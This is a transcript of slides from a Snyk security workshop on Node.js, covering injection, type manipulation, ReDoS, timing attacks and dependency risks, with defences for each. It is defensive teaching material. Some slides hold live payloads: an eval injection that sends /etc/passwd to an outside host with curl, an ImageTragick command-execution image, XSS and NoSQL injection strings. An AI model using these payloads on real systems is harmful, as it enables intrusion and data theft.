secure node code (workshop, o'reilly security)

161
snyk.io Secure Node Code Guy Podjarny @guypod Danny Grander @grander

Upload: guy-podjarny

Post on 15-Apr-2017

289 views

Category:

Software


1 download

TRANSCRIPT

Page 1: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Secure Node CodeGuy Podjarny

@guypod Danny Grander

@grander

Page 2: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Guy• Guy Podjarny, @guypod on Twitter

• CEO & Co-founder at Snyk

• History: • Cyber Security part of Israel Defense Forces

• First Web App Firewall (AppShield), Dynamic/Static Tester (AppScan)

• Security: Worked in Sanctum -> Watchfire -> IBM

• Performance: Founded Blaze -> CTO @Akamai

• O’Reilly author, speaker

Page 3: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Danny• Danny Grander, @grander on Twitter

• Chief Research Officer & Co-founder at Snyk

• History: • Cyber Security part of Israel Defense Forces

• Startup work on embedded security and crypto

• CTO at Gita, security consultancy (acquired by Verint)

• Speaker, blogger

Page 4: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

Page 5: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Setup

• Goof: https://github.com/Snyk/goof • Exploits under https://github.com/Snyk/goof/exploits/

• Optional: install locally (requires Node & npm)$ git clone https://github.com/Snyk/goof$ cd goof $ npm install$ npm start # will run on localhost:3001

Page 6: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Node.js

Page 7: Secure Node Code (workshop, O'Reilly Security)

snyk.io

3.5M Node.js Developersgrowing 100% year over year

Page 8: Secure Node Code (workshop, O'Reilly Security)

snyk.io

JS top used language

Page 9: Secure Node Code (workshop, O'Reilly Security)

snyk.io

npm growth

Page 10: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Growing in Enterprise

Page 11: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Key Strength 1:Same lang on client & server

Page 12: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Key Strength 2:Naturally scalable

Page 13: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Key Strength 3:Easy & fast to start

Page 14: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Node.js foundationSome history…

Page 15: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Node.js Security

Page 16: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Good Node.js core security

Page 17: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Security a top priorityfor Node.js foundation

Page 18: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Low EcosystemSecurity Awareness

outside of core

Page 19: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Most vulns have no CVE

Page 20: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Not enough researchAt least we have ChALkeR…

Page 21: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Not enough security dialogue

hence this session!

Page 22: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

Page 23: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Encoding

Page 24: Secure Node Code (workshop, O'Reilly Security)

snyk.io

URL Encoding

Page 25: Secure Node Code (workshop, O'Reilly Security)

snyk.io

HTML Entities

Page 26: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Insecure Default Config

Page 27: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Data URI

Page 28: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Template engine escaping

Page 29: Secure Node Code (workshop, O'Reilly Security)

snyk.io

{{{val}}} vs {{val}}

Page 30: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Crazy Encoding

Page 31: Secure Node Code (workshop, O'Reilly Security)

snyk.io

How to defend?

Page 32: Secure Node Code (workshop, O'Reilly Security)

snyk.io

It’s complicated.Lots of variants, ever shifting

Page 33: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Use FrameworksNot perfect, but typically better than custom code

Page 34: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Frameworks are generic.You can be specific.

Use application knowledge to explicitly specify what’s allowed

Page 35: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Critique default configAnd use the right framework functions

Page 36: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Building your own?Consider all encodings

Missing one variant is all it takes…

Page 37: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

Page 38: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Questions?

Page 39: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Type Manipulation

Page 40: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs: query string parser

Page 41: Secure Node Code (workshop, O'Reilly Security)

snyk.io

28M downloads/monthNot officially part of Node, but de-facto standard

Page 42: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs.parse(‘a=foo’)

{ a: “foo” }

Page 43: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs.parse(‘a=foo&b=bar’)

{ a: “foo”, b: “bar” }

Page 44: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs.parse(‘a=foo&a=bar’)

?

Page 45: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs.parse(‘a=foo&a=bar’)

{ a: [ “foo”, “bar” ] }

Page 46: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs.parse(‘a[]=foo’)

{ a: [ “foo” ] }

Page 47: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs.parse(‘a[1]=foo&a[2]=bar’)

{ a: [ “foo”, “bar” ] }

Page 48: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs.parse(‘a[1]=foo&a[8]=bar’)

{ a: [ “foo”, “bar” ] }

Page 49: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Input Type not guaranteedBut that’s not always intuitive…

Page 50: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Example: NunjucksClient Side JS execution

Page 51: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Mozilla templating library3,500 stars, 320 forks, 150k downloads/month

Page 52: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Sanitization Logic

nunjucks.renderString( 'Hello {{ username }}’, {username: '<s>Matt</s>' });

Hello &lt;s&gt;Matt&lt;s&gt;

Page 53: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Sanitization Code

escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str)); } return str; }

Page 54: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Sanitization Workaround

nunjucks.renderString( 'Hello {{ username }}’, {username: [‘<s>Matt</s>’] });

Hello <s>Matt</s>

Page 55: Secure Node Code (workshop, O'Reilly Security)

snyk.io

qs + array = XSS

nunjucks.renderString( 'Hello {{ username }}’, {username: [‘<script>alert(1)</script>’] });

XSS: <script>alert(1)</script>matt

http://host/?name[]=<script>alert(1)</script>matt

Page 56: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Fixed Sanitization Codeescape: function(str) { if(str == null) str = ''; if(str instanceof r.SafeString) { return str; } return r.markSafe(lib.escape(str.toString())); },

Always returns a string

Page 57: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Example: dust.jsServer side JS execution

Page 58: Secure Node Code (workshop, O'Reilly Security)

snyk.io

LinkedIn Templating Library2,400 stars, 406 forks, 77k downloads/month

Page 59: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Discovered on PaypalReported responsibly: https://artsploit.blogspot.co.il/2016/08/pprce2.html

Page 60: Secure Node Code (workshop, O'Reilly Security)

snyk.io

“if” uses eval"if": function( chunk, context, bodies, params ){ var body = bodies.block, skip = bodies['else']; if( params && params.cond){ var cond = params.cond; cond = dust.helpers.tap(cond, chunk, context); // eval expressions with given dust references if(eval(cond)){ if(body) { return chunk.render( bodies.block, context ); } else { _log("Missing body block in the if helper!"); return chunk; } }

Page 61: Secure Node Code (workshop, O'Reilly Security)

snyk.io

query to eval examples

http://host/navigation?device=xxx\ eval("'xxx\' == 'desktop'");

http://host/navigation?device=mobile eval("'mobile' == 'desktop'");

http://host/navigation?device=x' eval(“‘x&#39;' == 'desktop'");

Page 62: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Sanitizationvar HCHARS = /[&<>"']/, AMP = /&/g, LT = /</g, GT = />/g, QUOT = /\"/g, SQUOT = /\'/g;

dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(LT,'&lt;'). replace(GT,'&gt;').replace(QUOT,'&quot;'). replace(SQUOT, '&#39;'); }

return s; };

Page 63: Secure Node Code (workshop, O'Reilly Security)

snyk.io

arrays not sanitized

http://host/navigation?device[]=x' eval(“'x'' == 'desktop'");

http://host/navigation?device[]=x eval("'x' == 'desktop'");

Page 64: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Paypal Exploit

http://host/navigation?device[]=x&device[]=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-'

eval("'xy'-require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" artsploit.com')-'' == 'desktop'");

Page 65: Secure Node Code (workshop, O'Reilly Security)

snyk.io

JSON

Page 66: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Example: mongooseLet’s see this on Goof

Page 67: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Buffer trippedmany top packages

mongoose, request, sequelize, ws…

Page 68: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Dealing with Buffer

Page 69: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Buffer.allocSafe()zeroes memory*

Buffer.allocUnsafe() doesn’t

* Requires Node.js 5 or newer

Page 70: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Default Buffer remainsDeprecated in Node 7

(https://nodejs.org/api/buffer.html)

Page 71: Secure Node Code (workshop, O'Reilly Security)

snyk.io

-- zero-fill-buffers:makes Buffer(int) zero mem

Node command line flag. May break packages…

Page 72: Secure Node Code (workshop, O'Reilly Security)

snyk.io

How to defend?

Page 73: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Validate typeDon’t assume you know what it is

Page 74: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Use Buffer.allocSafe()

Page 75: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Don’t use eval()Especially for user-provided code

Page 76: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

Page 77: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Questions?

Page 78: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Break!

Page 79: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

Page 80: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Injection

Page 81: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Shell Injection

Page 82: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Goof Enhancement: Images!

Page 83: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Vuln cause 1: string concatenation

Page 84: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Vuln cause 2:exec()

Page 85: Secure Node Code (workshop, O'Reilly Security)

snyk.io

exec() vs

spawn()/execFile()

Page 86: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Example: git-ls-remote

Page 87: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Not all shell injections are in your code…

Page 88: Secure Node Code (workshop, O'Reilly Security)

snyk.io

ImageTragick• ImageMagick:

popular image manipulation binary/library

• May 2016: Multiple RCE vulns disclosed • Trivial to exploit, highly severe, took >1 week to fix

• Primary vulnerability: • Images are declared as one format, but auto-detected as SVG

• SVG processing holds multiple remote command execution

Page 89: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Exploit.png

push graphic-context viewbox 0 0 640 480 fill 'url(https://tinyurl.com/favorites.gif"|touch "./public/tragick)' pop graphic-context

Page 90: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Exploitable on GoofFor you to try out at home…

Page 91: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Had no fix for a long while!Required limiting in code

(e.g. https://www.npmjs.com/package/imagemagick-safe)

Page 92: Secure Node Code (workshop, O'Reilly Security)

snyk.io

OSS Binaries are a part of your app

Unpleasant, but true

Page 93: Secure Node Code (workshop, O'Reilly Security)

snyk.io

How to defend?

Page 94: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Avoid exec()Use execFile() or spawn() instead

Page 95: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Track vulnerable binariesMore on that later…

Page 96: Secure Node Code (workshop, O'Reilly Security)

snyk.io

NoSQL Injection

Page 97: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Classic SQL Injection

SELECT *

FROM users WHERE username = '$username' AND password = '$password'

Page 98: Secure Node Code (workshop, O'Reilly Security)

snyk.io

username = ‘ or 1=1—

SELECT *

FROM users WHERE username = ‘’ or 1=1 --’ AND password = 'bla'

Page 99: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Goof’s admin check

db.users.find( {username: req.body.username, password: req.body.password},

function (err, users) { // TODO: handle the rest }

);

Page 100: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Exploits!

Page 101: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Legitimate Use

db.users.find( {username: "admin", password: "SuperSecretPass"},

function (err, users) { // TODO: handle the rest }

);

Page 102: Secure Node Code (workshop, O'Reilly Security)

snyk.io

NoSQL Injection

db.users.find( {username: "admin", password: {"$gt":""}},

function (err, users) { // TODO: handle the rest }

);

Page 103: Secure Node Code (workshop, O'Reilly Security)

snyk.io

MongoDB Querieshttps://docs.mongodb.com/v3.2/tutorial/query-documents/

Page 104: Secure Node Code (workshop, O'Reilly Security)

snyk.io

How to defend?

Page 105: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Validate TypeSound familiar?

Page 106: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

Page 107: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Questions?

Page 108: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Event Loop

Page 109: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Node = JavaScript = 1 thread

Page 110: Secure Node Code (workshop, O'Reilly Security)

snyk.io

JS scales through events as opposed to threads

Page 111: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Blocking actions natively async

I/O, system calls, etc.

Page 112: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Scales great!Until a function goes wild…

Infinite loops, deep recursion, long-running algorithms …

Page 113: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Which Algorithms are used most often?

Page 114: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Regular ExpressionDenial of Service

(ReDoS)

Page 115: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Example: ms

Page 116: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Long String + Non-Linear Compute =

Outage

Page 117: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Example: moment

Page 118: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Catastrophic Backtracking

Page 119: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Regexp: /A(B|C+)*DE?/

Page 120: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Regexp: /A(B|C+)*DE?/

“ACCCCCCCCCCCCCCCCCCCCCCCCCCC” : 0.9 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 1.8 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 3.5 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 7.0 Seconds

Page 121: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Short String + Very Non-Linear Compute =

Outage

Page 122: Secure Node Code (workshop, O'Reilly Security)

snyk.io

How To Defend?

Page 123: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Prevent long running algorithms

Page 124: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Avoid nested unlimited length groupsMore reading: http://www.regular-expressions.info/catastrophic.html

Page 125: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Contain regexp input length

Page 126: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Limit execution timefor your own algorithms

Page 127: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Split & yield threadduring potentially long-running algorithms

Page 128: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Timing Attack

Page 129: Secure Node Code (workshop, O'Reilly Security)

snyk.io

A bit more esoteric…

Page 130: Secure Node Code (workshop, O'Reilly Security)

snyk.io

What’s a Timing Attack?

Page 131: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Spot the Problem

function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; }

Page 132: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Spot the Problem

function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; } Fails faster if first

chars mismatch

Page 133: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Worst case: Enumerate token per char

Page 134: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Constant Time Comparisonfunction isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; var mismatch = 0; for (var i = 0; i < token.length; ++i) { mismatch |= (token.charCodeAt(i) ^

ADMIN_UUID.charCodeAt(i)); } return mismatch; }

Page 135: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Constant Time Comparison

var scmp = require('scmp'); function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; return scmp(token, admin); }

Page 136: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Complex Timing Attacks

Page 137: Secure Node Code (workshop, O'Reilly Security)

snyk.io

How To Defend?

Page 138: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Use constant time processing

to avoid leaking sensitive information

Page 139: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

Page 140: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Questions?

Page 141: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Dependencies

Page 142: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Vulnerable Binaries

Page 143: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Track your servers wellAnd the binaries within them

Page 144: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Update quickly & frequently

Page 145: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Prevent exploits via codee.g. imagemagick-safe

Page 146: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Vulnerable Packages

Page 147: Secure Node Code (workshop, O'Reilly Security)

snyk.io

npm is a core part ofdeveloping in Node.js

Page 148: Secure Node Code (workshop, O'Reilly Security)

snyk.io

>350,000 packages

~6B downloads/month >65,000 publishers

npm usage Has Exploded

Page 149: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Your App

Page 150: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Your Code

Your App

Page 151: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Each Dependency Is A Security Risk

as we’ve just seen…

Page 152: Secure Node Code (workshop, O'Reilly Security)

snyk.io

~14% of npm Packages Carry Known Vulnerabilities

~83% of Snyk users found vulns in their apps

Source: Snyk data, Oct 2016

Page 153: Secure Node Code (workshop, O'Reilly Security)

snyk.io

How do I protect myself?

Page 154: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Back to Goof…

Page 155: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Securing OSS Packages• Find vulnerabilities

• Be sure to test ALL your applications

• Fix vulnerabilities • Upgrade when possible, patch when needed

• Prevent adding vulnerable module • Break the build, test in pull requests

• Respond quickly to new vulns • Track vuln DBs, or use Snyk! </shameless plug>

Page 156: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Not just Node/npmImpacts Open Source Packages, wherever they are

Page 157: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

Page 158: Secure Node Code (workshop, O'Reilly Security)

snyk.io

There’s A LOT we didn’t cover

• HTTPS

• Security Headers

• Common misconfigurations

• Node.js runtime security

• Continous Security in CI/CD

• Happy to take questions on those…

Page 159: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Summary

• Node.js is awesome, and here to stay

• Security dialogue too low, needs your attention

• Educate & beware insecure code • Both Node.js specific and general app sec issues

• Setup tools to handle insecure dependencies • Continuously, and across all projects

Page 160: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Node.js Is Awesome

Page 161: Secure Node Code (workshop, O'Reilly Security)

snyk.io

Node.js Is AwesomePlease Enjoy Responsibly

Questions?

Guy Podjarny @guypod

Danny Grander @grander